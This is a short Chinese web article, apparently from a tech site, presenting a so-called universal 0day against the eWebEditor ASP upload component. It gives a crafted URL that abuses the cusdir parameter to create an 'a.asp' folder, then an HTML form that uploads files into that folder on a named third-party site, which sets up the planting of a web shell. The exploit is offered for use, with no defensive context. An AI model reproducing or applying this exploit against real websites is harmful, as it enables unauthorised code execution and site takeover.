当前位置： 移动技术网 > 网络运营>安全>漏洞 > ewebeditor通杀鸡肋0day漏洞

ewebeditor通杀鸡肋0day漏洞

2018年03月12日  | 移动技术网网络运营  | 我要评论

先访问这个地址
editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp
访问这个地址可以建立个a.asp的文件夹……
再用这个html代码上传。

<form action="http://www.zzfhw.com/editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>
 

您可能感兴趣的文章:

如对本文有疑问， 点击进行留言回复！！

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网